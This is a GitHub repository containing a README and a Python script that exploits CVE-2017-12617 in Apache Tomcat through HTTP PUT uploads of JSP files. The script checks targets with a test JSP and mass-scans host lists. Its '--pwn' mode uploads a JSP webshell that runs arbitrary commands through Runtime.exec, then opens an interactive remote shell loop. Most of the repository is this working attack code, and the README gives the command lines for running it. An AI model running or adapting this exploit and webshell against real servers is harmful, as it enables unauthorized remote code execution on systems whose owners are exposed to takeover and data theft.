├── .gitignore ├── LICENSE ├── README.md ├── screenshots ├── 1.PNG ├── 2.PNG ├── 3.PNG ├── 44.PNG ├── 5.PNG ├── banner.PNG └── kali.PNG └── tomcat-cve-2017-12617.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 PikaChu 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-12617 2 | CVE-2017-12617 critical Remote Code Execution (RCE) vulnerability discovered in Apache Tomcat 3 | 4 | 5 |

affect systems with HTTP PUTs enabled (via setting the "read-only" initialization parameter of the Default servlet to "false") are affected. 6 | 7 |

Tomcat versions before 9.0.1 (Beta), 8.5.23, 8.0.47 and 7.0.82 contain a potentially dangerous 8 |

remote code execution (RCE) vulnerability on all operating systems if the default servlet is 9 |

configured with the parameter readonly set to false or the WebDAV servlet is enabled with the 10 |

parameter readonly set to false 11 | 12 | # Apache Tomcat page 13 | 14 | 15 |
./cve-2017-12617.py [options] 16 | 17 |
options: 18 | 19 |
-u ,--url [::] check target url if it's vulnerable 20 |
-p,--pwn [::] generate webshell and upload it 21 |
-l,--list [::] hosts list 22 | 23 |
[+]usage: 24 | 25 |
./cve-2017-12617.py -u http://127.0.0.1 26 |
./cve-2017-12617.py --url http://127.0.0.1 27 |
./cve-2017-12617.py -u http://127.0.0.1 -p pwn 28 |
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn 29 |
./cve-2017-12617.py -l hotsts.txt 30 |
./cve-2017-12617.py --list hosts.txt 31 | 32 | 33 |

Banner
34 | ![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/banner.PNG) 35 | 36 | ![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/1.PNG) 37 |

Check target if it's vulneabel
38 | ![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/44.PNG) 39 |

Confirm file was created
40 | ![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/2.PNG) 41 |

Create Webshell and get shell 42 | ![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/3.PNG) 43 |

Scan hosts in txt file
44 | ![alt text](https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/screenshots/5.PNG) 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 |

[ @intx0x80 ] 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /screenshots/1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cyberheartmi9/CVE-2017-12617/7fb13ea620064566bc111958a9e5cbb3b61cdc17/screenshots/1.PNG -------------------------------------------------------------------------------- /screenshots/2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cyberheartmi9/CVE-2017-12617/7fb13ea620064566bc111958a9e5cbb3b61cdc17/screenshots/2.PNG -------------------------------------------------------------------------------- /screenshots/3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cyberheartmi9/CVE-2017-12617/7fb13ea620064566bc111958a9e5cbb3b61cdc17/screenshots/3.PNG -------------------------------------------------------------------------------- /screenshots/44.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cyberheartmi9/CVE-2017-12617/7fb13ea620064566bc111958a9e5cbb3b61cdc17/screenshots/44.PNG -------------------------------------------------------------------------------- /screenshots/5.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cyberheartmi9/CVE-2017-12617/7fb13ea620064566bc111958a9e5cbb3b61cdc17/screenshots/5.PNG -------------------------------------------------------------------------------- /screenshots/banner.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cyberheartmi9/CVE-2017-12617/7fb13ea620064566bc111958a9e5cbb3b61cdc17/screenshots/banner.PNG -------------------------------------------------------------------------------- /screenshots/kali.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cyberheartmi9/CVE-2017-12617/7fb13ea620064566bc111958a9e5cbb3b61cdc17/screenshots/kali.PNG -------------------------------------------------------------------------------- /tomcat-cve-2017-12617.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import requests 3 | import re 4 | import signal 5 | from optparse import OptionParser 6 | 7 | 8 | 9 | 10 | 11 | 12 | class bcolors: 13 | HEADER = '\033[95m' 14 | OKBLUE = '\033[94m' 15 | OKGREEN = '\033[92m' 16 | WARNING = '\033[93m' 17 | FAIL = '\033[91m' 18 | ENDC = '\033[0m' 19 | BOLD = '\033[1m' 20 | UNDERLINE = '\033[4m' 21 | 22 | 23 | 24 | 25 | banner=""" 26 | 27 | 28 | _______ ________ ___ ___ __ ______ __ ___ __ __ ______ 29 | / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | 30 | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / 31 | | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / 32 | | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / 33 | \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ 34 | 35 | 36 | 37 | [@intx0x80] 38 | 39 | """ 40 | 41 | 42 | 43 | 44 | 45 | def signal_handler(signal, frame): 46 | 47 | print ("\033[91m"+"\n[-] Exiting"+"\033[0m") 48 | 49 | exit() 50 | 51 | signal.signal(signal.SIGINT, signal_handler) 52 | 53 | 54 | 55 | 56 | def removetags(tags): 57 | remove = re.compile('<.*?>') 58 | txt = re.sub(remove, '\n', tags) 59 | return txt.replace("\n\n\n","\n") 60 | 61 | 62 | def getContent(url,f): 63 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 64 | requests.packages.urllib3.disable_warnings() 65 | re=requests.get(str(url)+"/"+str(f), headers=headers,verify=False) 66 | return re.content 67 | 68 | def createPayload(url,f): 69 | evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>' 70 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 71 | requests.packages.urllib3.disable_warnings() 72 | req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers,verify=False) 73 | if req.status_code==201: 74 | print "File Created .." 75 | 76 | 77 | def RCE(url,f): 78 | EVIL="""
""".format(f)+""" 79 | 80 | 81 |
82 | <%@ page import="java.io.*" %> 83 | <% 84 | String cmd = request.getParameter("cmd"); 85 | String output = ""; 86 | if(cmd != null) { 87 | String s = null; 88 | try { 89 | Process p = Runtime.getRuntime().exec(cmd,null,null); 90 | BufferedReader sI = new BufferedReader(new 91 | InputStreamReader(p.getInputStream())); 92 | while((s = sI.readLine()) != null) { output += s+"
"; } 93 | } catch(IOException e) { e.printStackTrace(); } 94 | } 95 | %> 96 |
<%=output %>
""" 97 | 98 | 99 | 100 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 101 | requests.packages.urllib3.disable_warnings() 102 | req=requests.put(str(url)+f+"/",data=EVIL, headers=headers,verify=False) 103 | 104 | 105 | 106 | def shell(url,f): 107 | 108 | while True: 109 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} 110 | cmd=raw_input("$ ") 111 | payload={'cmd':cmd} 112 | if cmd=="q" or cmd=="Q": 113 | break 114 | requests.packages.urllib3.disable_warnings() 115 | re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers,verify=False) 116 | re=str(re.content) 117 | t=removetags(re) 118 | print t 119 | 120 | 121 | 122 | 123 | 124 | #print bcolors.HEADER+ banner+bcolors.ENDC 125 | 126 | parse=OptionParser( 127 | 128 | 129 | bcolors.HEADER+""" 130 | 131 | 132 | _______ ________ ___ ___ __ ______ __ ___ __ __ ______ 133 | / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | 134 | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / 135 | | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / 136 | | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / 137 | \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ 138 | 139 | 140 | 141 | 142 | ./cve-2017-12617.py [options] 143 | 144 | options: 145 | 146 | -u ,--url [::] check target url if it's vulnerable 147 | -p,--pwn [::] generate webshell and upload it 148 | -l,--list [::] hosts list 149 | 150 | [+]usage: 151 | 152 | ./cve-2017-12617.py -u http://127.0.0.1 153 | ./cve-2017-12617.py --url http://127.0.0.1 154 | ./cve-2017-12617.py -u http://127.0.0.1 -p pwn 155 | ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn 156 | ./cve-2017-12617.py -l hotsts.txt 157 | ./cve-2017-12617.py --list hosts.txt 158 | 159 | 160 | [@intx0x80] 161 | 162 | """+bcolors.ENDC 163 | 164 | ) 165 | 166 | 167 | parse.add_option("-u","--url",dest="U",type="string",help="Website Url") 168 | parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") 169 | parse.add_option("-l","--list",dest="L",type="string",help="hosts File") 170 | 171 | (opt,args)=parse.parse_args() 172 | 173 | if opt.U==None and opt.P==None and opt.L==None: 174 | print(parse.usage) 175 | exit(0) 176 | 177 | 178 | 179 | else: 180 | if opt.U!=None and opt.P==None and opt.L==None: 181 | print bcolors.OKGREEN+banner+bcolors.ENDC 182 | url=str(opt.U) 183 | checker="Poc.jsp" 184 | print bcolors.BOLD +"Poc Filename {}".format(checker) 185 | createPayload(str(url)+"/",checker) 186 | con=getContent(str(url)+"/",checker) 187 | if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: 188 | print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC 189 | print bcolors.WARNING+url+"/"+checker+bcolors.ENDC 190 | 191 | else: 192 | print 'Not Vulnerable to CVE-2017-12617 ' 193 | elif opt.P!=None and opt.U!=None and opt.L==None: 194 | print bcolors.OKGREEN+banner+bcolors.ENDC 195 | pwn=str(opt.P) 196 | url=str(opt.U) 197 | print "Uploading Webshell ....." 198 | pwn=pwn+".jsp" 199 | RCE(str(url)+"/",pwn) 200 | shell(str(url),pwn) 201 | elif opt.L!=None and opt.P==None and opt.U==None: 202 | print bcolors.OKGREEN+banner+bcolors.ENDC 203 | w=str(opt.L) 204 | f=open(w,"r") 205 | print "Scaning hosts in {}".format(w) 206 | checker="Poc.jsp" 207 | for i in f.readlines(): 208 | i=i.strip("\n") 209 | createPayload(str(i)+"/",checker) 210 | con=getContent(str(i)+"/",checker) 211 | if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: 212 | print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m" 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | --------------------------------------------------------------------------------